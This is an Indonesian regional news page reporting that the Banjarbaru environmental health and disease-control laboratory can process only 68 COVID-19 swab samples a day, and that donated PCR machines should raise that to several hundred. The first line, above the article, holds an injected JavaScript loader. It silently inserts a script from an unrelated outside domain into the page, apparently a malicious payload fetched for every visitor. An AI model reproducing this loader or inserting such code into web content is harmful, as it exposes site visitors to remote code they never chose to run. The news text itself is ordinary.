(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

BBTKL-PP Banjarbaru Cuma Bisa Lakukan Swab Test 68 Sampel Perhari


KANALKALIMANTAN.COM, BANJARBARU – Kemampuan Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKL-PP) Banjarbaru sangat terbatas dalam melakukan Swab test alias pemeriksaan medis untuk mengetahui adanya virus corona di dalam tubuh.

Uji ini dilakukan dengan mengambil sampel lendir di saluran pernapasan, misal hidung dan tenggorokan dari sampel dari swab test kemudian diperiksa dengan teknologi PCR di laboratorium.

Kepala BBTKL-PP Banjarbaru, Slamet Mulsiswanto mengakui kurangnya fasilitas dan tenaga SDM ditempatnya. Mengingat pihaknya tidak hanya memeriksa sampel tidak hanya dari masyarakat Kalsel saja, namun juga kiriman sampel dari Provinsi Kalimantan Tengah (Kalteng).

Saat ini perhari laboratorium BBTKL-PP Banjarbaru hanya mampu memeriksa 68 sampel. Itupun, tenaga yang berkerja hanya dalam tempo waktu 14 jam. Setidaknya dengan adanya bantuan 2 alat PCR dari pemerintah pusat, target pemeriksaan bisa mencapai 200-400 sampel perhari.

Baca juga: Uji Sampel Swab Sangat Terbatas, Pusat Bantu 2 Alat PCR ke Kalsel

Sekadar diketahui saja, PCR adalah teknologi Polymerase Chain Reaction yang digunakan dalam metode pemeriksaan swab test. Teknologi ini mampu menganalisa DNA atau RNA virus meski jumlah sampel terbatas.

Metode PCR inilah yang menyebabkan swab test bisa membantu menegakkan diagnosis Covid-19 pada pasien. Selain Covid-19, penegakan diagnosis penyakit lain juga bisa menggunakan PCR misal infeksi HIV.

“Sebenarnya kami sudah beli secara mandiri satu unit alat PCR dan sudah datang malam tadi. Tapi tetap saja ini belum cukup. Saran pimpinan tadi, kita akan kerja sama dengan mahasiswa dari ULM dan Poltekes. Juga dengan adanya bantuan alat PCR, Insya Allah pemeriksaan sampel dari 68 naik ke 400,” akunya.

Selain menerima 2 unit alat PCR, Dinas Kesehatan dan Gugus Tugas Kalsel juga menerima sejumlah bantuan baik Alat Pelindung Diri (APD), vitamin, hingga ventilator. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.